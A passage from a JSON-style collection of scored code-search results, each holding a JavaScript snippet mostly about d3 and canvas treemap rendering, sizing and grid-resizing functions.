treemap;\n\t}\n\t\n\ttreemap.hide = function() {\n\t\t$(parent).hide();\n\t\treturn treemap;\n\t}\n\t\n\ttreemap.show = function() {\n\t\t$(parent).show();\n\t\treturn treemap;\n\t}\n\t\n\ttreemap.transition = function(valueFunc, duration, callback) {\n\n\t\tif(d3treemap === null) throw new Error(\"Must call treemap.draw at least once before calling treemap.transition\")\n\t\t\n\t\tif(transitionComplete) {\n\t\t\ttransitionComplete = false;\n\t\t\td3treemap.value(valueFunc);\n\t\t\td3treemap.nodes(data);\n\n\t\t\td3.selectAll(parent + \" block .cell\")\n\t\t\t\t.transition()\n\t\t\t\t.text(function(d) { return truncateText(d, width, height); })\n\t\t\t\t.duration(duration)\n\t\t\t\t.call(cell);\n\t\t\t\n\t\t\tsetTimeout(function() { \n\t\t\t\ttransitionComplete = true;\n\t\t\t\tif(callback) callback();\n\t\t\t}, duration + (duration + 50) / 3);\n\t\t}\n\t}\n\t\n\t// Computes max depth and total bug count.\n\tfunction examine(d, depth, bugInfo) {\n\t\tmaxDepth = Math.max(depth, maxDepth);\n\t\tif (d.children) {\n\t\t\tvar index = 0;\n\t\t\tfor (index = 0; index < d.children.length; index++) {\n\t\t\t\tvar child = d.children[index];\n\n\t\t\t\tif (bugInfo != null && child.bugcount != 0 && child.hasOwnProperty('bugdates')) {\n\t\t\t\t\tvar bugs = numBugsInRange(child.bugdates, bugInfo.min, bugInfo.max)\n\t\t\t\t\tbugsLeft += bugs;\n\t\t\t\t}\n\n\t\t\t\texamine(child, depth + 1, bugInfo);\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction cell() {\n\t this\n\t\t .style(\"left\", function(d) { return d.x + \"px\"; })\n\t\t .style(\"top\", function(d) { return d.y + \"px\"; })\n\t\t .style(\"width\", function(d) { return Math.max(0, d.dx - 1) + \"px\"; })\n\t\t .style(\"height\", function(d) { return Math.max(0, d.dy - 1) + \"px\"; });\n\t }\n\t \n\tfunction truncateText(d, width, height) {\n\t\tvar smallarea = d.area < .0005;\n\t\tvar smallw = (d.dx / width) < .02;\n\t\tvar smallh = (d.dy / height) < .02;\n\n\t\tif (smallw || smallh || smallarea) return \"\";\n\t\treturn d.name;\n\t}\n\n\treturn treemap;\n}", "title": "" }, { "docid": "a89076b8d669958c20459e5775db175c", "score": "0.5441346", "text": "function block_lemo4moodle_showTooltipTreemap(row, size, value) {\n return '<div style=\"background:#fd9; padding:10px; border-style:solid\">' +\n data.getValue(row, 0) + '<br>' + treemapClickCount + size + ' </div>';\n }", "title": "" }, { "docid": "b123ced0f3a0123a701365e62e05bf91", "score": "0.54235435", "text": "function setFaultTreeDimensions()\r\n\t{\r\n\t\tfor (var i = 0; i < exampleFaultTrees.mFaultTrees.length; i = i + 1){\r\n\t\t\texampleFaultTrees.mFaultTrees[i].getWidth(new Array());\r\n\t\t\texampleFaultTrees.mFaultTrees[i].myScaleToFitCanvas = setScaleToCanvas(exampleFaultTrees.mFaultTrees[i]);\t\t\t\r\n\t\t}\t\t \r\n\t}", "title": "" }, { "docid": "f9192c5b4ab099ce7cc52b5e05489783", "score": "0.54004836", "text": "function markerSize(deaths) {\n return deaths * 1000;\n}", "title": "" }, { "docid": "d2f13144aaaf968fc136cbfb4201d108", "score": "0.5390545", "text": "get size() {\n\t\treturn this.level * this.level\n\t}", "title": "" }, { "docid": "6b92e51d3728e08bbc0c1657b8d5657e", "score": "0.53627175", "text": "resize(){\n let oldtable = this.table.slice();\n this.count = 0;\n this.table = Array(this.numbuckets*2);\n this.numbuckets = this.table.length;\n this.addLinks();\n for(var i = 0; i < oldtable.length; i++){\n let runner = oldtable[i].head.next;\n while(runner.next){\n this.insert(runner.key,runner.value);\n runner = runner.next;\n }\n }\n }", "title": "" }, { "docid": "3ff907e42a7cf73e2a9764a022daf819", "score": "0.5333431", "text": "function markerSize(data) {\n return data * 7;\n}", "title": "" }, { "docid": "6cf3fdda3b0f22e67f32e41ccd08a39b", "score": "0.52973616", "text": "OnNodeSizeDegree() {}", "title": "" }, { "docid": "dcdd0444b2fdc75e6d944a5807b3a13f", "score": "0.52914405", "text": "get size() {\r\n\t return this.root.size;\r\n\t }", "title": "" }, { "docid": "b304f67bad8bc1b1eb24d3b268b07155", "score": "0.5273967", "text": "_setUpTotalsInGroups(){\n let totalsInGroups = {};\n this.groupsLabels.forEach(label =>{\n totalsInGroups[label] = 0;\n });\n\n this.hierarchy.leaves().forEach(leaf =>{ \n totalsInGroups[leaf.data.group] += 1;\n });\n console.log(\"Number of genomes in each group: \", totalsInGroups)\n return totalsInGroups;\n }", "title": "" }, { "docid": "e1ea87e86d6f418bc008f545a4c4a501", "score": "0.52734256", "text": "constructor(size, height, skew, distance) {\n this.size = size; //size of map in any direction, in vertex points\n this.height = height; //maximum height of things on the map\n this.skew = skew; //the random value applied to each midpoint - higher values result in rougher terrain\n this.distance = distance; //how large the squares/triangles of the map\n var array = [];\n this.array = array;\n //\"real\" map size is size * distance\n }", "title": "" }, { "docid": "1a9559be6dbf5467f02c9ddc1143ac02", "score": "0.5268989", "text": "function Treemap(json, parametres) {\r\n\tthis.parametres = {\r\n\t\tname: null,\r\n\t\thauteur: 300,\r\n\t\tlargeur: 500,\r\n\t\tselector: \"#treemap\",\r\n\t\t\r\n\t\tcouleurs: null,\r\n\t\trelations: null,\r\n\t\t\r\n\t\tonFocus: null,\r\n\t\tonBlur: null,\r\n\t\tcontenu: null,\r\n\t\ttemplate: null,\t\t\r\n\t\r\n\t\ttransitionDuration: 1000\r\n\t};\r\n\t\r\n\tthis.etendre(parametres);\r\n\t\r\n\t/* -- Gestion des valeurs par défaut -- */\r\n\tif (null==this.parametres.name) {\r\n\t\tthis.parametres.name = this.parametres.selector;\r\n\t}\r\n\tif (null==this.parametres.onFocus) {\r\n\t\tthis.parametres.onFocus = this.focus;\r\n\t}\r\n\tif (null==this.parametres.onBlur) {\r\n\t\tthis.parametres.onBlur = this.unfocus;\r\n\t}\r\n\tif (null==this.parametres.contenu) {\r\n\t\tif (null!=this.parametres.template) {\r\n\t\t\tthis.template = $(this.parametres.template.selector);\r\n\t\t\tthis.template.remove();\r\n\t\t\tthis.parametres.contenu = this.renderContenu;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tthis.parametres.contenu = this.defaultContent;\r\n\t\t}\r\n\t}\r\n\t\r\n\t/* -- Initialisation d'attributs -- */\r\n\tvar object = this;\r\n\tthis.treemap = null;\r\n\tthis.dataTreemap = null;\r\n\tthis.articles = null;\r\n\tthis.treemapHtml = null;\r\n\r\n\tthis.dataJSON = json;\t\r\n\tthis.dataTreemap = this.getDataTreemap(json);\r\n\tthis.articles = this.dataJSON.articles[0];\r\n\t\r\n\tthis.duree = this.dataJSON.clusters[0].length;\r\n\tthis.nbClusters = this.dataJSON.clusters.lenght;\r\n\tthis.nbArticles = this.articles.length;\r\n\t\r\n\t/* -- Create the treemap -- */\r\n\t\r\n\tif (null==this.parametres.couleurs) {\r\n\t\tthis.parametres.couleurs = d3.scale.category20c();\r\n\t}\r\n\t\r\n\tthis.treemap = d3.layout.treemap()\r\n\t\t.size([this.parametres.largeur, this.parametres.hauteur])\r\n\t\t.sticky(true)\r\n\t\t.value(function(d) { \r\n\t\t\treturn object.comptage(d); \r\n\t\t});\r\n\t\t\r\n\tthis.treemapHtml = d3.select(\"#treemap\").append('div')\r\n\t\t.style('position', 'relative')\r\n\t\t.style('width', this.parametres.largeur + 'px')\r\n\t\t.style('height', this.parametres.hauteur + 'px')\r\n\t\t.style('background-color', '#32375F');\r\n\t\t\r\n\tthis.treemapHtml.data(this.dataTreemap).selectAll(\"div\")\r\n\t\t.data(this.treemap.nodes).enter().append(\"div\")\r\n\t\t\t.attr('class', 'cell')\r\n\t\t\t.style('background-color', function(datum) {\r\n\t\t\t\treturn d.children? null: object.parametres.couleurs(datum.id);\r\n\t\t\t})\r\n\t\t\t.call(this.sizeCell)\r\n\t\t\t.html(function(d) { \r\n\t\t\t\treturn d.children? null: object.getContent(d); \r\n\t\t\t})\r\n\t\t\t.attr(\"datetime\", function(d) {\r\n\t\t\t\treturn d.children? 0: object.articles[d.idMax].date;\r\n\t\t\t});\r\n\t\t\r\n\tif (null!=this.parametres.relations) {\r\n\t\tthis.parametres.relations.add(this.parametres.name, this);\r\n\t\t\r\n\t\tthis.treemapHtml.selectAll(\"div\")\r\n\t\t\t.each(function(datum) {\r\n\t\t\t\tvar item = d3.select(this);\r\n\t\t\t\tobject.parametres.relations.add(\r\n\t\t\t\t\tobject.parametres.name +'.'+ datum.name, item);\r\n\t\t\t});\r\n\t}\r\n}", "title": "" }, { "docid": "86a67fa89ea399174f3d8a707d195c0f", "score": "0.5267726", "text": "function markerSize(length) {\n return length;\n}", "title": "" }, { "docid": "052be9b2b39726d498bc7cc7a1dae080", "score": "0.526593", "text": "size() {\n let sum = this.points.length;\n if(this.subdivided) {\n this.mapSubdivsions((d) => { sum += d.size();});\n }\n return sum;\n }", "title": "" }, { "docid": "3f29a10e24155cdb2d7807cedfd4e7d1", "score": "0.52603656", "text": "function markerSize(reviews) {\n return reviews * 0.1\n}", "title": "" }, { "docid": "5bc8c4367cc579c079098affc6cff5f5", "score": "0.52595985", "text": "reduceHeight() {\n // Don't get shorter than 10 down\n if (this._tiles.length <= 10) { return; }\n\n this._height--;\n\n // Remove from array\n this._tiles.length = (this._tiles.length - 1);\n\n this.redrawMap();\n }", "title": "" }, { "docid": "141e7c9b6cad79d44329d8c620e6b5ce", "score": "0.52566487", "text": "updateExtent() {\n return this.view.goTo({\n target: this.trees,\n zoom: MAP_ZOOM\n });\n }", "title": "" }, { "docid": "ff8e336c77b019379b9d4f523d0594d9", "score": "0.5229679", "text": "expandHeight() {\n this._height++;\n\n // Add to array\n var newRow = [];\n for (var x = 0; x < this._width; x++) {\n newRow.push({ sprite: null, name: \"G\" });\n }\n this._tiles.push(newRow);\n\n this.redrawMap(false, true);\n }", "title": "" }, { "docid": "04f88e73bd35afc63f13aded8b3a761e", "score": "0.52121526", "text": "function set(num){\n\t\t\tif(t===num)\n\t\t\t\tc++;\n\t\t\telse{\n\t\t\t\tgene[t] = c;\n\t\t\t\tt=num;\n\t\t\t\tc=1;\n\t\t\t}\n\t\t\tgene[t] = c;\n\t\t}", "title": "" }, { "docid": "61f6ff56677405ccdbecf939b94b5cea", "score": "0.5207068", "text": "function resizeLevel() {\n var newLevelWidth = Number(document.getElementById('resizeX').value);\n var newLevelHeight = Number(document.getElementById('resizeY').value);\n resizeGrid(newLevelWidth, newLevelHeight);\n tiles = JSON.parse(JSON.stringify(level.tiles)); // copy without ref\n setTileSize();\n canvasSize('pushbox', level.width * tileSize, level.height * tileSize);\n drawTiles();\n drawMFD();\n drawStart(level.start.x, level.start.y);\n document.getElementById('resizeGrid').classList.remove('visible');\n}", "title": "" }, { "docid": "4514b24b84983b46c2ab31d92ce0b2b2", "score": "0.5204356", "text": "function resizeGrid(newLevelWidth, newLevelHeight) {\n var i, j;\n // Adjust height of level\n if (newLevelHeight < level.height) {\n for (j = newLevelHeight; j < level.height; j++) {\n level.tiles.pop();\n }\n }\n else if (newLevelHeight > level.height) {\n heightDiff = newLevelHeight - level.height;\n for (j = level.height; j < newLevelHeight; j++) {\n var newRow = [];\n for (i = 0; i < level.width; i ++) {\n newRow.push('g');\n }\n level.tiles.push(newRow);\n }\n }\n level.height = newLevelHeight;\n // Adjust width of level\n if (newLevelWidth < level.width) {\n for (j = 0; j < level.height; j++) {\n for (i = newLevelWidth; i < level.width; i++) {\n level.tiles[j].pop();\n }\n }\n }\n else if (newLevelWidth > level.width) {\n for (j = 0; j < level.height; j++) {\n for (i = level.width; i < newLevelWidth; i++) {\n level.tiles[j].push('g');\n }\n }\n }\n level.width = newLevelWidth;\n}", "title": "" }, { "docid": "6cab5ddcd1af3d2ffdc7b550864f5f26", "score": "0.520379", "text": "function getStackedSize(node, mapKey){\n\treturn mapKey.map(Math.max(node.totalIncoming, node.totalOutgoing));\n}", "title": "" }, { "docid": "b6dfa1a155518154a602690a60d5be95", "score": "0.51936126", "text": "function repairOriginalTree() {\n repairMetadataView();\n tree.maxLabelLength = {rectangular: saveMaxLabelLength[0]};\n tree.draw();\n}", "title": "" }, { "docid": "98ee749f5f4409efa601ccfbca40c901", "score": "0.51933366", "text": "function assignTreeGraphicParameters(tree){\n\n //count number of leaf nodes\n tree.leafNumber = getNodeValue(tree.root);\n //count depth of a tree and each node\n assignTreeDepths(tree);\n //count offsets for cylinder partitions\n countSunburstTreeOffsets(tree);\n}", "title": "" }, { "docid": "5f6a47f24d482d57a6eda29168d1482a", "score": "0.5180375", "text": "get size() {\n return this.root.size;\n }", "title": "" }, { "docid": "5f6a47f24d482d57a6eda29168d1482a", "score": "0.5180375", "text": "get size() {\n return this.root.size;\n }", "title": "" }, { "docid": "43011a45b078dbde440b91edf50f9427", "score": "0.51800823", "text": "function HuffmanTreeGroup(alphabet_size, num_htrees) {\n\t this.alphabet_size = alphabet_size;\n\t this.num_htrees = num_htrees;\n\t this.codes = new Array(num_htrees + num_htrees * kMaxHuffmanTableSize[(alphabet_size + 31) >>> 5]); \n\t this.htrees = new Uint32Array(num_htrees);\n\t}", "title": "" }, { "docid": "a9984764025b10ec39907876016af8e4", "score": "0.5178624", "text": "function size() {\n return k;\n }", "title": "" }, { "docid": "a9984764025b10ec39907876016af8e4", "score": "0.5178624", "text": "function size() {\n return k;\n }", "title": "" }, { "docid": "a9984764025b10ec39907876016af8e4", "score": "0.5178624", "text": "function size() {\n return k;\n }", "title": "" }, { "docid": "a9984764025b10ec39907876016af8e4", "score": "0.5178624", "text": "function size() {\n return k;\n }", "title": "" }, { "docid": "76cf905d0684aab72d40e51a15f20b07", "score": "0.51710796", "text": "function fontsize(nodesize){\n if (nodesize <= 12){\n return \"14\"\n } else if (nodesize <= 14) {\n return \"24.5\"\n } else if (nodesize <= 16) {\n return \"25\"\n } else if (nodesize >= 16) {\n return \"26\"\n } else 0\n}", "title": "" }, { "docid": "36c24942fcf4f212441ec6f92a699abc", "score": "0.5170893", "text": "function getMapSize(x) {\n var len = 0;\n for (var count in x) {\n len++;\n }\n\n return len;\n}", "title": "" }, { "docid": "5b2f5fe4f6f7904d5a3bdb16aaebadcd", "score": "0.51687104", "text": "height () {\n this.adjustMap()\n }", "title": "" }, { "docid": "6ad5e80e3c41a27c1f2507032eefbab4", "score": "0.51604074", "text": "function fontSizeChange(inc) {\n TreeStyle.fontSize = Math.max(5, TreeStyle.fontSize + inc);\n displayNotification(\"Font size: \" + TreeStyle.fontSize);\n update();\n}", "title": "" }, { "docid": "0e9273f988c9b7317d6a2033c6b222c8", "score": "0.5155417", "text": "function resizePlotLabel(maxColumnCount){\n if (maxColumnCount < 10){\n var the_label = d3.select(\"g.plot-label text\");\n the_label.attr('font-size', 18);\n //the_label.attr('transform', 'translate(0, 30)');\n //console.log(\"gonna resize that plot label.\");\n }\n }", "title": "" }, { "docid": "9bbd661ca1a4eee4f941c164d5ce3933", "score": "0.51537293", "text": "get size() {\n // Return the triple count if if was cached.\n var size = this._size;\n if (size !== null)\n return size;\n\n // Calculate the number of triples by counting to the deepest level.\n var graphs = this._graphs, subjects, subject;\n for (var graphKey in graphs)\n for (var subjectKey in (subjects = graphs[graphKey].subjects))\n for (var predicateKey in (subject = subjects[subjectKey]))\n size += Object.keys(subject[predicateKey]).length;\n return this._size = size;\n }", "title": "" }, { "docid": "9bbd661ca1a4eee4f941c164d5ce3933", "score": "0.51537293", "text": "get size() {\n // Return the triple count if if was cached.\n var size = this._size;\n if (size !== null)\n return size;\n\n // Calculate the number of triples by counting to the deepest level.\n var graphs = this._graphs, subjects, subject;\n for (var graphKey in graphs)\n for (var subjectKey in (subjects = graphs[graphKey].subjects))\n for (var predicateKey in (subject = subjects[subjectKey]))\n size += Object.keys(subject[predicateKey]).length;\n return this._size = size;\n }", "title": "" }, { "docid": "e7b973cdccb9ff78b3d225b7b1d91875", "score": "0.51476145", "text": "function display(data, relayout) {\n log('display', data)\n\n console.time('treemap')\n var nodes;\n // nodes is a JS like representation of tree structure\n if (!nnn || relayout) {\n nodes = treemap.nodes(data)\n }\n\n var total_size = data.value\n console.log('total size', total_size)\n\n nodes = walk(data, null, currentDepth + TREEMAP_LEVELS + 1)\n\n console.timeEnd('treemap')\n\n console.time('filter')\n console.log('before', nodes.length)\n nnn = nodes\n // .filter( d => { return d.depth < TREEMAP_LEVELS } )\n .filter( d => {\n return d.depth >= currentDepth &&\n d.depth <= currentDepth + TREEMAP_LEVELS + 1 &&\n d.value / total_size > 0.000001\n } )\n // .filter( d => { return !d.children } ) // leave nodes only\n console.timeEnd('filter')\n console.log('after', nnn.length)\n\n var d = data\n\n console.time('fake_svg')\n // we bind the JS data to a fake graphical representation\n var enter = fake_svg.data( nnn )\n console.timeEnd('fake_svg')\n\n enter.forEach(rectB)\n\n // Update the domain only after entering new elements.\n xd.domain([d.x, d.x + d.dx])\n yd.domain([d.y, d.y + d.dy])\n\n console.time('forEach')\n // we resize the graphical objects\n fake_svg.objects.forEach(rect)\n console.timeEnd('forEach')\n\n console.time('sort')\n fake_svg.sort(function sort(a, b) {\n return a.__data__.depth - b.__data__.depth\n })\n console.timeEnd('sort')\n\n // start drawing\n drawThenCancel()\n }", "title": "" }, { "docid": "dc0596f0a4d5c7822eade6df8e5442a4", "score": "0.51300377", "text": "function resize() {\n\n // Layout variables\n width = d3Container.node().getBoundingClientRect().width - margin.left - margin.right,\n nodes = tree.nodes(json),\n links = tree.links(nodes);\n\n // Layout\n // -------------------------\n\n // Main svg width\n container.attr(\"width\", width + margin.left + margin.right);\n\n // Width of appended group\n svg.attr(\"width\", width + margin.left + margin.right);\n\n\n // Tree size\n tree.size([height, width - 180]);\n\n\n // Chart elements\n // -------------------------\n\n // Link paths\n svg.selectAll(\".d3-tree-link\").attr(\"d\", diagonal)\n\n // Node paths\n svg.selectAll(\".d3-tree-node\").attr(\"transform\", function(d) { return \"translate(\" + d.y + \",\" + d.x + \")\"; });\n }", "title": "" }, { "docid": "076fe5cb5960ad8bde486826af856b63", "score": "0.5129287", "text": "function markerSize(magnitude) {\r\n return magnitude * 10;\r\n}", "title": "" }, { "docid": "f24c1d95e7defd015d77592b40e197fb", "score": "0.5115996", "text": "set orthoSize(value) {}", "title": "" }, { "docid": "4aceafe232ff23cbb18a08b10b0a06a3", "score": "0.510999", "text": "function TreeMap() {\r\n\r\n /** private members **/\r\n var layout = new SquarifiedLayout(2);\r\n\r\n var colorProvider = new ColorProvider('#000080');\r\n var renderer = new RectangleRenderer();\r\n var listeners = [];\r\n var rectangles;\r\n var currentRect;\r\n var currentNode;\r\n var treeModel;\r\n var canvas;\r\n \r\n /** privileged methods **/\r\n \r\n /*\r\n * sets the layout used by the treemap.\r\n * if not called, the treemap uses a squarified layout of depth 2\r\n */\r\n this.setLayout = function(aLayout) {\r\n layout = aLayout;\r\n };\r\n\r\n /*\r\n * sets the rectangle renderer used by the treemap.\r\n * if not called, the treemap uses a rectangle renderer\r\n */ \r\n this.setRenderer = function(aRenderer) {\r\n renderer = aRenderer;\r\n };\r\n\r\n /*\r\n * sets the color provider used by the treemap for rendering\r\n * individual rectangles.\r\n * if not called, the treemap uses a mono color provider (blue)\r\n */ \r\n this.setColorProvider = function(aColorProvider) {\r\n colorProvider = aColorProvider;\r\n };\r\n\r\n /*\r\n * sets the tree model\r\n */\r\n this.setTreeModel = function(aTreeModel) {\r\n treeModel = aTreeModel;\r\n if (treeModel) {\r\n currentNode = aTreeModel.getRoot();\r\n } else {\r\n currentNode = undefined;\r\n }\r\n currentRect = undefined;\r\n rectangles = undefined;\r\n };\r\n \r\n /*\r\n * returns the tree model currently used by the treemap\r\n */\r\n this.getTreeModel = function() {\r\n return treeModel;\r\n };\r\n \r\n /*\r\n * hooks up the canvas with this tree map\r\n */\r\n this.hook = function(aCanvas) {\r\n canvas = aCanvas;\r\n canvas.addEventListener(\"mousemove\", this, false);\r\n canvas.addEventListener(\"mouseup\", this, false);\r\n };\r\n \r\n /*\r\n * unhooks the tree map from the canvas\r\n */\r\n this.unhook = function() {\r\n canvas.removeEventListener(\"mouseup\", this.zoom, false);\r\n canvas.removeEventListener(\"mousemove\", this.highlight, false);\r\n canvas = undefined; \r\n };\r\n \r\n /*\r\n * adds a listener for selection changes to the tree map\r\n * the listener will be called using \".selectionChanged(this)\", i.e.\r\n * with the tree map where the selection changed. all required\r\n * information can then be retrieved from the tree map itself:\r\n * treemap.currentRect : currently selected rectangle \r\n * treemap.canvas : canvas HTML object\r\n */\r\n this.addSelectionChangeListener = function(listener) {\r\n listeners.push(listener);\r\n };\r\n \r\n /*\r\n * removes a listener for selection changes to the tree map\r\n */\r\n this.removeSelectionChangeListener = function(listener) {\r\n var i;\r\n for (i = listeners.length-1; i>=0; i--) {\r\n if (listeners[i] == listener) {\r\n listeners.splice(i, 1);\r\n break;\r\n }\r\n }\r\n };\r\n\r\n /*\r\n * paints the canvas\r\n */\r\n this.paint = function() {\r\n var ctx = _getContext();\r\n if (ctx) {\r\n if (rectangles) {\r\n ctx.fillStyle = \"#ffffff\";\r\n ctx.fillRect(0, 0, canvas.width, canvas.height);\r\n queue = [rectangles.getRoot()];\r\n while (queue.length > 0) {\r\n var rect = queue.shift();\r\n renderer.render(ctx, rectangles, rect, colorProvider);\r\n if (rectangles.hasChildren(rect)) {\r\n var children = rectangles.getChildren(rect);\r\n var i;\r\n for (i = children.length-1; i >= 0; i--) {\r\n queue.push(children[i]);\r\n }\r\n }\r\n }\r\n } else {\r\n this.noData(ctx);\r\n }\r\n }\r\n };\r\n\r\n /*\r\n * invoked when rendering takes place without\r\n * a tree model assigned, respectively when no rectangles\r\n * for the layout have been computed, or are not available.\r\n */\r\n this.noData = function(context) {\r\n context.fillStyle = \"#ffffff\";\r\n context.fillRect(0, 0, canvas.width, canvas.height);\r\n context.fillStyle = \"#000000\";\r\n context.strokeStyle = \"#000000\";\r\n var text = \"no data\";\r\n var metrics = context.measureText(text);\r\n context.fillText(text, (canvas.width-metrics.width)/2, canvas.height/2);\r\n context.strokeRect(0, 0, canvas.width, canvas.height);\r\n };\r\n\r\n /*\r\n * highlight; called when mouse moved over canvas\r\n */\r\n this.highlight = function(event) { \r\n if (!rectangles) {\r\n return;\r\n }\r\n var runner = event.target;\r\n var lx = event.pageX;\r\n var ly = event.pageY;\r\n if (runner.offsetParent) {\r\n do {\r\n lx -= runner.offsetLeft;\r\n ly -= runner.offsetTop;\r\n } while (runner = runner.offsetParent);\r\n }\r\n if (currentRect) {\r\n if (currentRect.contains(lx, ly)) {\r\n // inside of highlighted rectangle already\r\n return;\r\n } else {\r\n var ctx = _getContext();\r\n renderer.render(ctx, rectangles, currentRect, colorProvider);\r\n }\r\n }\r\n currentRect = _findRectangle(lx, ly);\r\n if (currentRect) {\r\n var ctx = _getContext();\r\n renderer.highlight(ctx, rectangles, currentRect, colorProvider);\r\n var i;\r\n for (i = listeners.length-1; i>=0; i--) {\r\n listeners[i].selectionChanged(this, currentRect.node);\r\n }\r\n }\r\n };\r\n \r\n /*\r\n * zoom; called when a mouse button is clicked\r\n */\r\n this.zoom = function(event) {\r\n if (treeModel) {\r\n if (event.button == 0 && currentRect) {\r\n var runner = currentRect.node;\r\n var last;\r\n do {\r\n last = runner;\r\n runner = treeModel.getParent(runner);\r\n } while (runner != currentNode);\r\n currentNode = last;\r\n currentRect = undefined;\r\n this.compute();\r\n this.paint();\r\n } else if (event.button == 2) {\r\n var parent = treeModel.getParent(currentNode);\r\n if (parent) {\r\n currentNode = parent;\r\n currentRect = undefined;\r\n this.compute();\r\n this.paint();\r\n }\r\n }\r\n }\r\n };\r\n \r\n /*\r\n * computes the layout rectangles to be painted\r\n */\r\n this.compute = function() {\r\n if (canvas && treeModel && currentNode) {\r\n rectangles = layout.layout(treeModel, currentNode, canvas.width, canvas.height);\r\n currentRect = undefined;\r\n }\r\n };\r\n\r\n /*\r\n * event handling method; deals with mouse movement\r\n * for highlighting purposes and mouse clicks for\r\n * zooming purposes\r\n */ \r\n this.handleEvent = function(event) {\r\n if (event.type == \"mousemove\") {\r\n this.highlight(event);\r\n } else if (event.type == \"mouseup\") {\r\n this.zoom(event);\r\n }\r\n };\r\n\r\n /** private methods **/\r\n \r\n // returns the canvas 2d context for painting purposes\r\n function _getContext() {\r\n if (canvas && canvas.getContext) {\r\n return canvas.getContext('2d');\r\n }\r\n };\r\n \r\n // returns the best matching rectangle for the given coordinates, if any\r\n function _findRectangle(x, y) {\r\n if (rectangles) {\r\n var result = rectangles.getRoot();\r\n while (rectangles.hasChildren(result)) {\r\n var found = false;\r\n var children = rectangles.getChildren(result);\r\n var i;\r\n for (i = children.length-1; i>=0; i--) {\r\n var candidate = children[i];\r\n if (candidate.contains(x, y)) {\r\n result = candidate;\r\n found = true;\r\n break;\r\n }\r\n }\r\n if (found == false) {\r\n break;\r\n }\r\n }\r\n return result;\r\n }\r\n return undefined;\r\n };\r\n \r\n}", "title": "" }, { "docid": "c81ba7d478b08b89f1b41b87329105f6", "score": "0.5104599", "text": "function solveMine(map,n){\n //conding and coding..\n\n console.log(map.length);\n \n }", "title": "" }, { "docid": "3bd4687cd5e0787db8a87c77099cce33", "score": "0.50985336", "text": "constructor(size) {\n this[parent] = Array(size);\n for (let i = 0; i < size; i += 1) {\n this[parent][i] = i;\n }\n }", "title": "" }, { "docid": "6bed8f8d74935e34ab6a7af1d33c0072", "score": "0.50902355", "text": "function HuffmanTreeGroup(alphabet_size, num_htrees) {\n this.alphabet_size = alphabet_size;\n this.num_htrees = num_htrees;\n this.codes = new Array(num_htrees + num_htrees * kMaxHuffmanTableSize[(alphabet_size + 31) >>> 5]); \n this.htrees = new Uint32Array(num_htrees);\n}", "title": "" }, { "docid": "b43a92bdc21221a427426b8dc17cdbbc", "score": "0.50887895", "text": "function TreeMap(htmlID) {\n \"use strict\";\n let self = this,\n width = window.innerWidth / 2,\n height = window.innerHeight / 2,\n color = d3.scale.category20c(),\n treemap,\n fScale,\n div,\n grandparent,\n oldDepth,\n transitioning = false,\n breadCrumsHtmlID = \"#breadCrums\",\n accumulateValue = false,\n value = \"value\",\n labelValue = \"value\",\n showLabel = true,\n label = \"label\",\n sort = value,\n showAsGrid = false,\n padding = 0,\n filter = function (d) {\n return d;\n },\n currentNode,\n shannon = new ShannonEntropy(),\n useShannon = false,\n dImgQuadrants = new d3.map(),\n chainedAnimations = true,\n animationDuration = 0,\n zoomable = false,\n showNodeTextTitle = true,\n showNodeTextValue = true;\n ;\n\n self.margin = {top: 0, right: 0, bottom: 0, left: 0};\n\n self.zoomable = function (_) {\n if (!arguments.length) return zoomable;\n zoomable = _;\n return self;\n };\n\n self.breadCrumsHtmlID = function (_) {\n if (!arguments.length) return breadCrumsHtmlID;\n breadCrumsHtmlID = _;\n return self;\n };\n\n self.sort = function (_) {\n if (!arguments.length) return sort;\n sort = _;\n return self;\n };\n\n self.value = function (_) {\n if (!arguments.length) return value;\n value = _;\n return self;\n };\n\n self.label = function (_) {\n if (!arguments.length) return label;\n label = _;\n return self;\n };\n //TODO : Add in the README.md\n self.accumulateValue = function (_) {\n if (!arguments.length) return accumulateValue;\n accumulateValue = _;\n return self;\n };\n\n self.labelValue = function (_) {\n if (!arguments.length) return labelValue;\n labelValue = _;\n return self;\n };\n//TODO : Add in the README.md\n self.filter = function (_) {\n if (!arguments.length) return filter;\n filter = _;\n return self;\n };\n\n self.showLabel = function (_) {\n if (!arguments.length) return showLabel;\n showLabel = _;\n return self;\n };\n\n self.padding = function (_) {\n if (!arguments.length) return padding;\n padding = _;\n return self;\n };\n//TODO : Add in the README.md\n self.showAsGrid = function (_) {\n if (!arguments.length) return showAsGrid;\n showAsGrid = _;\n return self;\n };\n\n self.useShannon = function (_) {\n if (!arguments.length) return useShannon;\n useShannon = _;\n return self;\n };\n\n self.width = function (_) {\n if (!arguments.length) return width;\n width = _;\n //LM: Size bug fix\n self.updateWindowSizes();\n return self;\n };\n\n self.height = function (_) {\n if (!arguments.length) return height;\n height = _;\n //LM: Size bug fix\n self.updateWindowSizes();\n return self;\n };\n\n self.chainedAnimations = function (_) {\n if (!arguments.length) return chainedAnimations;\n chainedAnimations = _;\n return self;\n };\n\n self.animationDuration = function (_) {\n if (!arguments.length) return animationDuration;\n animationDuration = _;\n return self;\n };\n\n self.showNodeTextValue = function (_) {\n if (!arguments.length) return showNodeTextValue;\n showNodeTextValue = _;\n return self;\n };\n\n self.showNodeTextTitle = function (_) {\n if (!arguments.length) return showNodeTextTitle;\n showNodeTextTitle = _;\n return self;\n };\n\n let currentDepth = 0;\n let TEXT_HEIGHT = 50;\n let MIN_SIZE_FOR_TEXT = 100;\n let ZOOM_TRANSITION_DURATION = 750;\n self.showPhotos = true;\n self.growable = false;\n\n let x = d3.scale.linear()\n .domain([0, width])\n .range([0, width]);\n\n let y = d3.scale.linear()\n .domain([0, height])\n .range([0, height]);\n\n fScale = d3.scale.linear()\n .domain([10, 30000])\n .range([0.7, 10.0]);\n treemap = getTreemap();\n self.treemap = treemap;\n\n function getTreemap() {\n // console.log(self);\n if (self.zoomable()) {\n if (showAsGrid) {\n return d3.layout.gridFit()\n .value(function (d) {\n return d[value];\n })\n .children(function (d, depth) {\n return depth ? null : filter(d._children);\n })\n // .children(function(d) { return filter(d._children); })\n .sort(function (a, b) {\n return d3.ascending(a[sort], b[sort]);\n })\n .size([width, height])\n .ratio(1) //squares\n .round(false);\n } else {\n return d3.layout.treemap()\n // treemap\n // .padding(0)\n .value(function (d) {\n return d[value];\n })\n .children(function (d, depth) {\n return depth ? null : filter(d._children);\n })\n // .sort(function(a, b) { return a[value] - b[value]; })\n // .sort(function (a, b) { return 